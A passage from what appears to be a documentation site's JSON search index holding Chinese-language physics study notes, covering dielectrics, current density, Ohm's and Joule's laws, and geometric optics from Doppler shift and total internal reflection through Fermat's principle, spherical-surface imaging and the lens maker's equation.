\u653e\u5728\u7535\u4ecb\u8d28\u4e2d\uff0c\u5176\u5468\u56f4\u4f1a\u4ea7\u751f\u6781\u5316</p> <p>\u7531 \u9ad8\u65af\u5b9a\u7406\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230</p> \\[     \\varepsilon_0 \\oiint \\boldsymbol{E} \\cdot d\\boldsymbol{A} = q_0 + q' \\] \\[     \\oiint \\boldsymbol{P} \\cdot d \\boldsymbol{A} = -q' \\] \\[ \\varepsilon_0 \\oiint \\boldsymbol{E} \\cdot d\\boldsymbol{A} = q_0 - \\oiint \\boldsymbol{P} \\cdot d\\boldsymbol{A} \\] \\[  \\oiint(\\varepsilon_0 \\boldsymbol{E} + \\boldsymbol{P}) \\cdot d\\boldsymbol{A} = q_0 \\] \\[ \\oiint \\boldsymbol{D} \\cdot d\\boldsymbol{A} = q_0 \\] <p>\u5176\u4e2d \\(\\boldsymbol{D} = \\varepsilon_0 \\boldsymbol{E} + \\boldsymbol{P}\\) \u79f0\u4e3a\u7535\u4f4d\u79fb\u77e2\u91cf\uff0c\u4e5f\u53eb\u505a\u7535\u611f\u5e94\u77e2\u91cf</p> <p>\u8fd9\u8bf4\u660e\u7535\u4f4d\u79fb\u77e2\u91cf\u4e0e\u95ed\u5408\u66f2\u9762\u5185\u79ef\u9762\u79ef\u5206\u7b49\u4e8e\u8be5\u66f2\u9762\u5185\u7684 \u81ea\u7531\u7535\u8377 \u4e4b\u548c</p> <p>Key-point</p> \\[   \\boldsymbol{D} = \\varepsilon_0 \\boldsymbol{E} + \\boldsymbol{P} = (1+ \\chi_e)\\varepsilon_0 \\boldsymbol{E} =\\kappa_e \\varepsilon_0 \\boldsymbol{E} \\] <p>Example</p> <p>\u5728\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d</p> \\[\\begin{align*}   \\oiint \\vec{D} \\cdot d\\vec{A} &amp;= \\sum q_0 \\\\   4 \\pi r^2 D &amp;= q_0 \\\\   D &amp;= \\frac{q_0}{4 \\pi r^2} \\\\   E &amp;= \\frac{D}{\\kappa_e \\varepsilon_0} = \\frac{q_0}{4 \\pi \\varepsilon_0 \\kappa_e r^2} = \\frac{E_0}{\\kappa_e} \\end{align*}\\] <p>Note</p> <p>\\(E\\)\u662f\u771f\u5b9e\u7535\u573a\uff0c\\(E_0\\)\u771f\u7a7a\u4e2d\u7684\u7535\u573a</p>"},{"location":"NOTE/Physics/eletronic/#_20","title":"\u6052\u5b9a\u7535\u6d41","text":""},{"location":"NOTE/Physics/eletronic/#_21","title":"\u7535\u6d41\u4e0e\u7535\u6d41\u5bc6\u5ea6","text":"<p>\u7535\u6d41</p> <p>\u7535\u6d41\u5b9a\u4e49\u4e3a\u5355\u4f4d\u65f6\u95f4\u5185\u901a\u8fc7\u67d0\u4e00\u6a2a\u622a\u9762\u7684\u7535\u8377\u91cf</p> \\[ I = \\frac{dq}{dt} \\] <p>\u82e5\u5355\u4f4d\u4f53\u79ef\u5185\u7535\u8377\u6570\u76ee\u4e3a \\(n\\)\uff0c\u622a\u9762\u8868\u9762\u79ef\u4e3a \\(s\\) \u7535\u8377\u4e3a \\(e\\)\uff0c\u901f\u5ea6\u4e3a \\(v\\)\uff0c\u5219\u7535\u6d41\u4e3a</p> \\[ I = nesv \\] <p>\u7535\u6d41\u5bc6\u5ea6</p> <p>\u7535\u6d41\u5bc6\u5ea6\u5b9a\u4e49\u4e3a\u5355\u4f4d\u65f6\u95f4\u5185\u901a\u8fc7\u5355\u4f4d\u9762\u79ef\u7684\u7535\u8377\u91cf</p> \\[ \\boldsymbol{J} = \\frac{d\\boldsymbol{I}}{d\\boldsymbol{A}} \\] <p>\u5176\u4e2d \\(\\boldsymbol{J}\\) \u662f\u7535\u6d41\u5bc6\u5ea6\uff0c\\(\\boldsymbol{I}\\) \u662f\u7535\u6d41\uff0c\\(\\boldsymbol{A}\\) \u662f\u6a2a\u622a\u9762\u79ef</p> <p>\u6709\uff1a</p> \\[    i=\\oiint \\boldsymbol{J} \\cdot d\\boldsymbol{A} \\] <p>\u5728\u5fae\u5c0f\u53d8\u5316\u4e2d\uff0c\u6709</p> \\[   j = nev \\]"},{"location":"NOTE/Physics/eletronic/#_22","title":"\u7535\u963b\u4e0e\u7535\u5bfc","text":"<p>\u7535\u963b\u7684\u5b9a\u4e49\u5f0f</p> \\[   R = \\frac{dV}{dI} \\] <p>\u7535\u963b\u662f\u51b3\u5b9a\u5f0f</p> \\[   R = \\rho \\frac{l}{A} = \\frac{l}{\\sigma A} \\] <p>\u5176\u4e2d \\(\\rho\\) \u662f\u7535\u963b\u7387\uff0c\\(\\sigma\\) \u662f\u7535\u5bfc\u7387</p> <p>\u5bf9\u4e8e\u4e0d\u89c4\u5219\u7269\u4f53\uff0c\u91c7\u7528\u79ef\u5206\u8ba1\u7b97\u7535\u963b</p> \u8ba1\u7b97\u7535\u963b <p></p> <p>\u5728\u5730\u8d28\u52d8\u63a2\u4e2d\uff0c\u65f6\u5e38\u5229\u7528\u8fd9\u79cd\u65b9\u6cd5\u6765\u52d8\u63a2\u5730\u5e95\u7684\u8d44\u6e90\uff0c\u56e0\u4e3a\u5404\u79cd\u6750\u6599\u7684\u7535\u5bfc\u7387\u4e0d\u540c</p> <p>\u6b27\u59c6\u5b9a\u5f8b\u7684\u5fae\u5206\u5f62\u5f0f</p> \\[    di = \\frac{dv}{R} \\quad dv= E \\cdot dl \\] \\[     \\boldsymbol{J} \\cdot d \\boldsymbol{A} = di \\] \\[     R=\\rho \\frac{dl}{dA} \\] <p>\u53ef\u4ee5\u63a8\u51fa</p> \\[     \\boldsymbol{J} = \\sigma \\boldsymbol{E} \\]"},{"location":"NOTE/Physics/eletronic/#_23","title":"\u7535\u529f\u7387\u4e0e\u7126\u8033\u5b9a\u5f8b","text":"<p>\u7535\u529f\u7387</p> <p>\u7535\u529f\u7387\u5b9a\u4e49\u4e3a\u5355\u4f4d\u65f6\u95f4\u5185\u7535\u6d41\u505a\u7684\u529f</p> \\[ P = \\frac{dW}{dt} = \\frac{dW}{dq} \\frac{dq}{dt} = V \\cdot I \\] <p>\u5176\u4e2d \\(P\\) \u662f\u7535\u529f\u7387\uff0c\\(W\\) \u662f\u7535\u529f\uff0c\\(V\\) \u662f\u7535\u538b\uff0c\\(I\\) \u662f\u7535\u6d41</p> <p>\u7126\u8033\u5b9a\u5f8b</p> <p>\u5bf9\u4e8e \u7eaf\u7535\u963b\u7535\u8def \uff0c\u7535\u529f\u7387\u53ef\u4ee5\u8868\u793a\u4e3a\\(P = I^2 R = \\dfrac{V^2}{R}\\)</p>"},{"location":"NOTE/Physics/eletronic/#_24","title":"\u6b27\u59c6\u5b9a\u5f8b\u7684\u5fae\u89c2\u89e3\u91ca","text":"<p>\u539f\u672c\u5728\u5bfc\u4f53\u4e2d\u505a\u70ed\u8fd0\u52a8\u7684\u7535\u5b50\uff0c\u5728\u65bd\u52a0\u4e86\u5916\u90e8\u7535\u573a\u540e\uff0c\u4f1a\u4ea7\u751f\u6f02\u79fb\u901f\u5ea6\uff1b</p> \\[\\begin{align*}   \\boldsymbol{a} &amp;= \\frac{e \\boldsymbol{E}}{m} \\\\   \\overline{v} &amp;= \\frac{1}{2} \\boldsymbol{a} t = \\frac{e \\boldsymbol{E} t}{2m} \\\\   &amp;= \\frac{e \\boldsymbol{E} l}{2m v_d} \\\\   \\boldsymbol{J} &amp;= ne \\overline{v} = \\dfrac{n e^2 \\boldsymbol{E} l}{2m v_d} = \\sigma \\boldsymbol{E}\\\\   \\sigma &amp;= \\dfrac{n e^2 l}{2m v_d} \\propto \\frac{1}{\\sqrt{T}}  \\end{align*}\\] <p>\u5176\u4e2d \\(\\lambda\\) \u662f\u7535\u5b50\u7684\u5e73\u5747\u81ea\u7531\u7a0b\uff0c\\(v_d\\) \u662f\u7535\u5b50\u7684\u70ed\u8fd0\u52a8\u901f\u5ea6\uff0c\u4e0e\\(\\sqrt{T}\\)\u6210\u6b63\u6bd4</p> <p>\u8fd9\u79cd\u7b97\u6cd5\u7ed9\u51fa\u4e86\u6211\u4eec\u7ecf\u5178\u7269\u7406\u5b66\u4e2d\u5173\u4e8e\u7535\u963b\u7684\u89e3\u91ca\uff0c\u4e0e\\(T\\)\u662f\u5f00\u65b9\u51fd\u6570\u7684\u5173\u7cfb\uff0c\u4f46\u662f\u8fd9\u53ea\u5728\u5b9a\u6027\u65b9\u9762\u7684\u6b63\u786e\u7684\uff0c\u786e\u5b9e\u968f\u7740\u6e29\u5ea6\u7684\u5347\u9ad8\uff0c\u7535\u963b\u4f1a\u589e\u5927\uff1b\u4f46\u662f\u66f4\u52a0\u73b0\u5b9e\u5177\u4f53\u7684\u63a8\u5bfc\u9700\u8981\u91cf\u5b50\u529b\u5b66\u7684\u5e2e\u52a9\uff0c\u624d\u80fd\u7ed9\u51fa\u5f88\u597d\u7684\u89e3\u91ca</p>"},{"location":"NOTE/Physics/genetic-data-svgrepo-com/","title":"Genetic data svgrepo com","text":"<p> \u7ea6 0 \u4e2a\u5b57 </p> <p></p>"},{"location":"NOTE/Physics/light/","title":"\u5149\u5b66","text":"<p> \u7ea6 8317 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 29 \u5206\u949f</p>"},{"location":"NOTE/Physics/light/#_2","title":"\u53ef\u89c1\u5149","text":"<p>\u5728\u7535\u78c1\u6ce2\u4e2d\uff0c\u53ef\u89c1\u5149\u53ea\u5360\u4e86\u5f88\u5c0f\u4e00\u90e8\u5206</p> <p>Property</p> <ul> <li>\u53ef\u89c1\u5149\u6ce2\u957f\u8303\u56f4\uff1a\\(400nm-700nm\\)</li> <li>\u53ef\u89c1\u5149\u9891\u7387\u8303\u56f4\uff1a\\(4.3\\times10^{14}Hz-7.5\\times10^{14}Hz\\)</li> <li>\u53ef\u89c1\u5149\u6ce2\u957f\u4e0e\u9891\u7387\u7684\u5173\u7cfb\uff1a\\(\\lambda f=c\\)</li> <li>\u4eba\u773c\u6700\u654f\u611f\u7684\u6ce2\u957f\\(550nm\\)\u5de6\u53f3\u4e3a\u9ec4\u7eff\u5149</li> <li>\u6ce2\u957f\u8d8a\u957f\uff0c\u9891\u7387\u8d8a\u4f4e\uff0c\u80fd\u91cf\u8d8a\u4f4e,\u6240\u4ee5\u7ea2\u5149\u80fd\u91cf\u6700\u4f4e\uff0c\u7d2b\u5149\u80fd\u91cf\u6700\u9ad8</li> <li></li> </ul>"},{"location":"NOTE/Physics/light/#_3","title":"\u6ce2\u7684\u591a\u666e\u52d2\u6548\u5e94","text":"\\[ f'=\\dfrac{v\\pm v_0}{v\\pm v_s}f \\] <p>\u5176\u4e2d\uff0c\\(v\\)\u4e3a\u6ce2\u5728\u4ecb\u8d28\u4e2d\u7684\u4f20\u64ad\u901f\u5ea6\uff0c\u6ce2\u6e90\u901f\u5ea6\u4e3a\\(v_s\\)\uff0c\u63a5\u6536\u8005\u901f\u5ea6\u4e3a\\(v_0\\)\uff0c\\(f\\)\u4e3a\u6ce2\u7684\u9891\u7387</p> <p>\u5bf9\u4e8e\u5149\u6ce2\uff0c\u6709\u7ea2\u79fb\u548c\u84dd\u79fb</p> <ul> <li>\u7ea2\u79fb\uff1a\u6ce2\u6e90\u8fdc\u79bb\u63a5\u6536\u8005\uff0c\u6ce2\u957f\u53d8\u957f\uff0c\u9891\u7387\u53d8\u5c0f\uff0c\u5149\u8c31\u5411\u7ea2\u8272\u79fb\u52a8</li> </ul> \\[     f=f_0 \\sqrt{\\dfrac{1-\\frac{u}{c}}{1+\\frac{u}{c}}} \\] <ul> <li>\u84dd\u79fb\uff1a\u6ce2\u6e90\u9760\u8fd1\u63a5\u6536\u8005\uff0c\u6ce2\u957f\u53d8\u77ed\uff0c\u9891\u7387\u53d8\u5927\uff0c\u5149\u8c31\u5411\u84dd\u8272\u79fb\u52a8</li> </ul> \\[     f=f_0 \\sqrt{\\dfrac{1+\\frac{u}{c}}{1-\\frac{u}{c}}} \\] <p>Key-point</p> <p>\u901a\u5f0f\u4e3a</p> \\[     f = f_0 \\dfrac{\\sqrt{1-\\frac{u^2}{c^2}}}{1-\\frac{u}{c}\\cos \\theta} \\] <p>\u5176\u4e2d\\(\\theta\\)\u4e3a\u901f\u5ea6\u4e0e\u5149\u6ce2\u8fd0\u52a8\u7684\u5939\u89d2</p>"},{"location":"NOTE/Physics/light/#_4","title":"\u51e0\u4f55\u5149\u5b66","text":""},{"location":"NOTE/Physics/light/#_5","title":"\u5168\u53cd\u5c04","text":"<p>\u5168\u53cd\u5c04\u662f\u5149\u6ce2\u5728\u4f20\u64ad\u8fc7\u7a0b\u4e2d\u53d1\u751f\u7684\u4e00\u79cd\u7269\u7406\u73b0\u8c61\u3002\u5f53\u5149\u4ece\u5149\u5bc6\u4ecb\u8d28\uff08\u5982\u73bb\u7483\u6216\u6c34\uff09\u8fdb\u5165\u5149\u758f\u4ecb\u8d28\uff08\u5982\u7a7a\u6c14\uff09\u65f6\uff0c\u5982\u679c\u5165\u5c04\u89d2\u5927\u4e8e\u67d0\u4e2a\u4e34\u754c\u89d2\uff08\u79f0\u4e3a\u4e34\u754c\u89d2\uff09\uff0c\u5149\u5c31\u4e0d\u4f1a\u53d1\u751f\u6298\u5c04\uff0c\u800c\u662f\u5168\u90e8\u88ab\u53cd\u5c04\u56de\u5149\u5bc6\u4ecb\u8d28\uff0c\u8fd9\u79cd\u73b0\u8c61\u79f0\u4e3a\u5168\u53cd\u5c04</p> <p>\u4f8b\u5982\uff0c\u5728\u73bb\u7483\u4e2d\uff0c\\(n=1.5\\)\uff0c\u5728\u7a7a\u6c14\u4e2d\uff0c\\(n_0=1\\);\u53c8\u6709</p> \\[    \\dfrac{\\sin \\theta_2}{\\sin \\theta_1}=\\dfrac{n_1}{n_2} \\] <p>\u4e34\u754c\u89d2\u4e3a\\(\\theta_2 = 90^\\circ\\)\uff0c\u6240\u4ee5\u6b64\u65f6</p> \\[     \\sin \\theta_c = \\dfrac{n_2}{n_1} \\] <p>\u5982\u679c\u5165\u5c04\u89d2\u5927\u4e8e\u4e34\u754c\u89d2\uff0c\u5149\u5c31\u4f1a\u53d1\u751f\u5168\u53cd\u5c04\uff0c\u88ab\u675f\u7f1a\u5728\u5149\u5bc6\u4ecb\u8d28\u4e2d,\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c\u4e34\u754c\u89d2\u4e3a\\(\\theta_c = \\arcsin \\dfrac{1}{1.5} = 41.8^\\circ\\)</p> <p>Note</p> <p>\u6c42\u6298\u5c04\u7387,\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u516c\u5f0f\u6c42\u89e3</p> \\[     n = \\dfrac{\\sin \\theta_1}{\\sin \\theta_2} \\] <p>\u5176\u4e2d\\(\\theta_1\\)\u4e3a\u7a7a\u6c14\u4e2d\u5165\u5c04\u89d2\uff0c\\(\\theta_2\\)\u4e3a\u6298\u5c04\u89d2</p>"},{"location":"NOTE/Physics/light/#_6","title":"\u8272\u6563","text":"<p>**\u8272\u6563\u73b0\u8c61**\u662f\u6307\u5f53\u767d\u5149\u6216\u590d\u8272\u5149\u901a\u8fc7\u4ecb\u8d28\uff08\u5982\u68f1\u955c\u3001\u5149\u6805\uff09\u65f6\uff0c\u4e0d\u540c\u6ce2\u957f\u7684\u5149\u7531\u4e8e\u6298\u5c04\u7387\u4e0d\u540c\u800c\u53d1\u751f\u4e0d\u540c\u7a0b\u5ea6\u7684\u504f\u6298\uff0c\u4ece\u800c\u4f7f\u5149\u88ab\u5206\u89e3\u6210\u5404\u79cd\u5355\u8272\u5149\u7684\u73b0\u8c61\u3002\u5b83\u662f\u5149\u7684\u6ce2\u52a8\u7279\u6027\u7684\u4e00\u79cd\u8868\u73b0\uff0c\u4e3b\u8981\u7531\u4ecb\u8d28\u7684**\u6298\u5c04\u7387\u968f\u6ce2\u957f\u7684\u53d8\u5316**\u5f15\u8d77\u3002</p> \\[ n = \\frac{c}{v} \\] <p>\u7531\u4e8e \\( v \\) \u4e0e\u6ce2\u957f \\( \\lambda \\) \u76f8\u5173\uff0c\u4ecb\u8d28\u5bf9\u4e0d\u540c\u6ce2\u957f\u7684\u5149\u6298\u5c04\u7387\u4e0d\u540c\uff0c\u5bfc\u81f4\u6298\u5c04\u89d2\u4e0d\u540c\u3002\u901a\u5e38\u60c5\u51b5\u4e0b\uff1a</p> <ul> <li>\u77ed\u6ce2\u957f\u5149\uff08\u5982\u7d2b\u5149\uff09\u6298\u5c04\u7387\u8f83\u5927\uff0c\u504f\u6298\u89d2\u8f83\u5927\u3002</li> <li>\u957f\u6ce2\u957f\u5149\uff08\u5982\u7ea2\u5149\uff09\u6298\u5c04\u7387\u8f83\u5c0f\uff0c\u504f\u6298\u89d2\u8f83\u5c0f\u3002</li> </ul> <p>\u8fd9\u79cd\u6ce2\u957f\u4f9d\u8d56\u6027\u5bfc\u81f4\u4e86\u8272\u6563\u3002</p>"},{"location":"NOTE/Physics/light/#_7","title":"\u60e0\u66f4\u65af\u539f\u7406","text":"<p>\u5b9a\u7406\u5185\u5bb9</p> <p>\u6ce2\u524d\u4e0a\u7684\u6bcf\u4e00\u4e2a\u70b9\u90fd\u53ef\u4ee5\u770b\u4f5c\u662f\u65b0\u7684\u7403\u9762\u6ce2\uff08\u6b21\u6ce2\uff09\u6e90\uff0c\u8fd9\u4e9b\u6b21\u6ce2\u76f8\u5e72\u53e0\u52a0\u540e\u5f62\u6210\u4e86\u6ce2\u7684\u4f20\u64ad\u65b9\u5411\u548c\u6ce2\u524d\u3002</p> <p>\u60e0\u66f4\u65af\u539f\u7406\u8bc1\u660e\u5149\u7684\u53cd\u5c04\u4e0e\u6298\u5c04</p> <p> </p> <p>\u53cd\u5c04</p> <p>\u8bc1\u660e\u4e09\u89d2\u5f62\u5168\u7b49\uff0c\u8fd0\u7528\u7b49\u89d2\u4e92\u4f59</p> \\[ A_1 C_1 = A_n B_n = v_1 t_n \\] \\[ \\Delta A_1 C_1 B_n \\cong \\Delta B_n A_n A_1 \\] \\[ \\therefore \\angle A_n A_1 B_n = \\angle C_1 B_n A_1 \\] \\[ \\Rightarrow i_1' = i_1  \\] <p>\u6298\u5c04</p> \\[ \\angle D_1B_nA_1 = i_2 \\] \\[ \\sin i_2 = \\frac{A_1D_1}{A_1B_n} \\] \\[ \\sin i_1 = \\frac{A_nB_n}{A_1B_n} \\] \\[ \\therefore \\frac{\\sin i_1}{\\sin i_2} = \\frac{A_nB_n}{A_1D_1} = \\frac{v_1 t}{v_2 t} = \\frac{v_1}{v_2} \\] <p>\u518d\u8fd0\u7528</p> \\[     v=\\dfrac{c}{n} \\] <p>\u5e26\u5165\u5373\u53ef</p>"},{"location":"NOTE/Physics/light/#_8","title":"\u8d39\u9a6c\u539f\u7406","text":"<p>\u5149\u7a0b\u5b9a\u4e49\u4e3a</p> \\[     L = n_1 s_1 + n_2 s_2 \\] <p>\u5176\u4e2d\\(n_1\\)\u548c\\(n_2\\)\u5206\u522b\u4e3a\u4e24\u4e2a\u4ecb\u8d28\u7684\u6298\u5c04\u7387\uff0c\\(s_1\\)\u548c\\(s_2\\)\u5206\u522b\u4e3a\u4e24\u4e2a\u4ecb\u8d28\u4e2d\u5149\u7ebf\u7684\u5b9e\u9645\u8def\u5f84\u957f\u5ea6</p> <p>\u79ef\u5206\u5f62\u5f0f\u4e3a</p> \\[     L = \\int n ds \\] <p>\u8d39\u9a6c\u539f\u7406\u662f\u6307\u5149\u7ebf\u5728\u4f20\u64ad\u8fc7\u7a0b\u4e2d\uff0c\u82e5\u53ef\u4ee5\u6210\u50cf\uff0c\u5219\u5149\u7a0b\u7684\u53d8\u5206\u4e3a\u96f6(\u5bf9\u67d0\u4e00\u4e2a\u53d8\u91cf\u6c42\u504f\u5bfc\u4e3a\u96f6)</p> <p>\u5373</p> \\[     \\delta \\int n ds = 0 \\] <p>\u8d39\u9a6c\u539f\u7406\u8bc1\u660e\u53cd\u5c04\u548c\u6298\u5c04</p> <p> </p> \\[ L = \\sqrt{a^2 + x^2} + \\sqrt{b^2 + (d - x)^2} \\] \\[ \\frac{dL}{dx} = \\frac{1}{2} \\cdot \\frac{2x}{\\sqrt{a^2 + x^2}} - \\frac{1}{2} \\cdot \\frac{2(d - x)}{\\sqrt{b^2 + (d - x)^2}} = 0 \\] \\[ \\frac{x}{\\sqrt{a^2 + x^2}} = \\frac{(d - x)}{\\sqrt{b^2 + (d - x)^2}} \\] \\[ \\sin \\theta_1 = \\sin \\theta_1' \\quad \\theta_1 = \\theta_1' \\] <p> </p> \\[ L = n_1 \\sqrt{a^2 + x^2} + n_2 \\sqrt{b^2 + (d - x)^2} \\] \\[ \\frac{dL}{dx} = \\frac{1}{2} n_1 \\frac{2x}{\\sqrt{a^2 + x^2}} - \\frac{1}{2} n_2 \\frac{2(d - x)}{\\sqrt{b^2 + (d - x)^2}} = 0 \\] \\[ n_1 \\frac{x}{\\sqrt{a^2 + x^2}} = n_2 \\frac{(d - x)}{\\sqrt{b^2 + (d - x)^2}}, \\quad n_1 \\sin \\theta_1 = n_2 \\sin \\theta_2 \\]"},{"location":"NOTE/Physics/light/#image-formation","title":"\u6210\u50cf(Image Formation)","text":"<p>\u6210\u50cf\u7684\u57fa\u672c\u539f\u5219\u662f\u7b49\u5149\u7a0b</p> <p>\u5de6\u8fb9\u79f0\u4e3a\u7269\u65b9\uff0c\u53f3\u8fb9\u79f0\u4e3a\u50cf\u65b9</p>"},{"location":"NOTE/Physics/light/#_9","title":"\u7403\u9762\u955c\u6210\u50cf","text":"<p>C\u4e3a\u7403\u5fc3;r\u4e3a\u7403\u534a\u5f84;</p> <p>\u9996\u5148\uff0c\u4f7f\u7528\u6b63\u5f26\u5b9a\u7406</p> \\[ \\begin{cases} \\dfrac{p}{\\sin \\phi} = \\dfrac{o + r}{\\sin \\theta} = \\dfrac{r}{\\sin u} \\\\ \\dfrac{p'}{\\sin \\phi} = \\dfrac{i - r}{\\sin \\theta'} = \\dfrac{r}{\\sin u'} \\end{cases} \\] \\[ \\begin{align*} n \\sin \\theta &amp;= n' \\sin \\theta' \\\\ \\theta - u &amp;= \\theta' + u' = \\phi \\end{align*} \\] \\[ \\begin{cases} \\dfrac{p}{o + r} = \\dfrac{\\sin \\phi}{\\sin \\theta} \\\\ \\dfrac{p'}{i - r} = \\dfrac{\\sin \\phi}{\\sin \\theta'} \\end{cases} \\] \\[ \\therefore \\frac{p}{n(o + r)} = \\frac{p'}{n'(i - r)} \\] <p>\u4f7f\u7528\u4f59\u5f26\u5b9a\u7406</p> \\[ \\begin{cases} p^2 = (o + r)^2 + r^2 - 2r(o + r) \\cos \\phi = o^2 + 4r(o + r) \\sin^2 \\frac{\\phi}{2} \\\\ p'^2 = (i - r)^2 + r^2 + 2r(i - r) \\cos \\phi = i^2 - 4r(i - r) \\sin^2 \\frac{\\phi}{2} \\end{cases} \\] \\[ \\cos \\phi = 1 - 2 \\sin^2 \\frac{\\phi}{2} \\] \\[ \\Rightarrow \\frac{o^2}{n^2(o + r)^2} - \\frac{i^2}{n'^2(i - r)^2} = -4r \\sin^2 \\frac{\\phi}{2} \\left[ \\frac{1}{n^2(o + r)} + \\frac{1}{n'^2(i - r)} \\right] \\] <p>\u4e0d\u540c\u7684\\(\\phi\\)\u5bf9\u5e94\u4e0d\u540c\u7684\u6210\u50cf\u4f4d\u7f6e,\u7403\u9762\u4e0d\u80fd\u6210\u50cf\uff1b</p> <p>\u552f\u4e00\u53ef\u80fd\u7684\u4f4d\u7f6e\u4e3a\u4e24\u8fb9\u4e3a0\uff1b</p> \\[ \\begin{cases} \\dfrac{o^2}{n^2(o + r)^2} - \\dfrac{i^2}{n'^2(i - r)^2} = 0 \\\\ \\dfrac{1}{n^2(o + r)} + \\dfrac{1}{n'^2(i - r)} = 0 \\end{cases} \\] <p>\u6216\u8005\u4f7f\u7528\u65c1\u8f74\u8fd1\u4f3c,\u5373\\(\\phi\\)\u5f88\u5c0f,\u53f3\u8fb9\u4e3a0\uff1b</p> \\[ \\frac{o^2}{n^2(o + r)^2} = \\frac{i^2}{n'^2(i - r)^2} \\] \\[ \\frac{n(o + r)}{o} = \\frac{n'(i - r)}{i} \\] \\[ \\frac{n'}{i} + \\frac{n}{o} = \\frac{n' - n}{r} \\] <p>\u53c8\u6709</p> \\[ \\begin{cases} i \\to \\infty, \\quad o = f = \\dfrac{n}{n' - n} r \\\\ o \\to \\infty, \\quad i = f' = \\dfrac{n'}{n' - n} r \\end{cases} \\] \\[ \\dfrac{f}{f'} = \\dfrac{n}{n'}, \\quad \\dfrac{f}{o} + \\dfrac{f'}{i} = 1 \\] <p>\u7b26\u53f7\u7684\u7ea6\u5b9a</p> <ul> <li>\\(o\\),\u5b9e\u4e3a+\uff0c\u865a\u4e3a-(Q\uff0c\u5728\u5de6\u4e3a+\uff0c\u53f3\u4e3a-)</li> <li>\\(i\\),\u5b9e\u4e3a+\uff0c\u865a\u4e3a-(Q'\uff0c\u5728\u5de6\u4e3a-\uff0c\u53f3\u4e3a+)</li> <li>\\(r\\),\u51f8\u4e3a+\uff0c\u51f9\u4e3a-(C,\u5728\u5de6\u4e3a-\uff0c\u53f3\u4e3a+)</li> </ul> <p> </p> <p> </p>"},{"location":"NOTE/Physics/light/#_10","title":"\u7403\u9762\u955c\u53cd\u5c04","text":"\\[ n \\sin \\theta = n' \\sin \\theta' \\quad \\text{if } \\theta &gt; 0, \\text{ then } \\theta' &lt; 0 \\] \\[ n = -n' \\] \\[ f = \\frac{n}{n' - n} r = -\\frac{r}{2} \\] \\[ f' = \\frac{n'}{n' - n} r = \\frac{1}{2} r \\] <p>\u5e26\u5165\u6298\u5c04\u516c\u5f0f</p> \\[ \\Rightarrow \\frac{1}{o} + \\frac{1}{i} = -\\frac{2}{r} \\] <p>\u5982\u679c\u662f\u5e73\u9762\u955c\uff0c\u90a3\u4e48\\(r \\to \\infty\\)\uff0c\u6210\u865a\u50cf\uff1b</p>"},{"location":"NOTE/Physics/light/#_11","title":"\u653e\u5927\u500d\u6570","text":"<p>\u9996\u5148\uff0c\u7531\u65c1\u8f74\u8fd1\u4f3c</p> \\[     n \\sin \\theta = n' \\sin \\theta' \\Rightarrow  n \\theta = n' \\theta' \\] <p>\\(y'&lt;0\\)</p> \\[ y \\approx o \\cdot \\theta, \\, -y' = i \\cdot \\theta' \\] \\[ \\therefore m = \\frac{y'}{y} = -\\frac{i\\theta'}{o\\theta} = -\\frac{n \\cdot i}{n' \\cdot o} \\] <p>\u5982\u679c\\(n=n'\\)\uff0c\u5219\\(m=-\\dfrac{i}{o}\\) \u8d1f\u53f7\u8868\u793a\u5012\u50cf</p>"},{"location":"NOTE/Physics/light/#_12","title":"\u8584\u900f\u955c\u6210\u50cf","text":"<p>\u9996\u5148\uff0c\u5bf9\u4e8e\\(n\\)\u548c\\(n_L\\),\\(n_L\\)\u548c\\(n'\\)\uff0c\u5206\u522b\u4f7f\u7528\u7403\u9762\u955c\u6210\u50cf\u516c\u5f0f</p> \\[ \\begin{cases}  \\frac{f_1'}{i_1} + \\frac{f_1}{o_1} = 1  \\\\  \\frac{f_2'}{i_2} + \\frac{f_2}{o_2} = 1  \\end{cases} \\] <p>\u5176\u4e2d</p> \\[ \\begin{aligned} f_1 &amp;= \\frac{n}{n_L - n} r_1, \\quad f_1' = \\frac{n_L}{n_L - n} r_1 \\\\ f_2 &amp;= \\frac{n_L}{n' - n_L} r_2, \\quad f_2' = \\frac{n'}{n' - n_L} r_2 \\end{aligned} \\] <p>\\(o_2\\)\u662fQ\u7ecf\u8fc7\u7b2c\u4e00\u4e2a\u7403\u9762\u955c\u7684\u865a\u50cf\u50cf\u8ddd,\u6240\u4ee5</p> \\[ -o_2 = i_1 - d, \\quad o_2 = d - i_1 \\] <p>\u5bf9\u4e8e(1)\u5f0f\u4e24\u8fb9\u540c\u65f6\u4e58\u4ee5\\(f_2\\)\uff0c\u5bf9\u4e8e(2)\u5f0f\u4e24\u8fb9\u540c\u65f6\u4e58\u4ee5\\(f_1'\\)</p> \\[ \\begin{cases}  \\frac{f_1' f_2}{i_1} + \\frac{f_1 f_2}{o_1} = f_2 \\\\  \\frac{f_1' f_2'}{i_2} + \\frac{f_1' f_2}{-i_1} = f_1' \\end{cases} \\] <p>\u76f8\u52a0</p> \\[ \\frac{f_1' f_2'}{i_2} + \\frac{f_1 f_2}{o_1} = f_1' + f_2 \\] \\[ \\frac{f_1' f_2'}{i} + \\frac{f_1 f_2}{o} = f_1' + f_2 \\] <p>\u9664\u8fc7\u53bb,\u5f97\u5230</p> \\[ \\frac{f'}{i} + \\frac{f}{o} = 1 \\] <p>\u5176\u4e2d\uff0c\u4ee4</p> \\[     f' = \\frac{f_1' f_2'}{f_1' + f_2} \\] \\[     f = \\frac{f_1 f_2}{f_1' + f_2} \\]"},{"location":"NOTE/Physics/light/#lens-makers-equation","title":"\u78e8\u955c\u8005\u516c\u5f0f(Lens Maker's Equation)","text":"\\[ f' = \\frac{f_1' f_2'}{f_1' + f_2} = \\frac{\\frac{n_L}{n_L - n} \\cdot \\frac{n'}{n' - n_L} r_1 r_2}{\\frac{n_L}{n_L - n} r_1 + \\frac{n'}{n' - n_L} r_2} = \\frac{n'}{\\frac{n_L - n}{r_1} + \\frac{n' - n_L}{r_2}} \\] \\[ f = \\frac{f_1 f_2}{f_1' + f_2} = \\frac{\\frac{n}{n_L - n} \\cdot \\frac{n_L}{n' - n_L} r_1 r_2}{\\frac{n_L}{n_L - n} r_1 + \\frac{n_L}{n' - n_L} r_2} = \\frac{n}{\\frac{n_L - n}{r_1} + \\frac{n' - n_L}{r_2}} \\] <p>\u6240\u4ee5</p> \\[     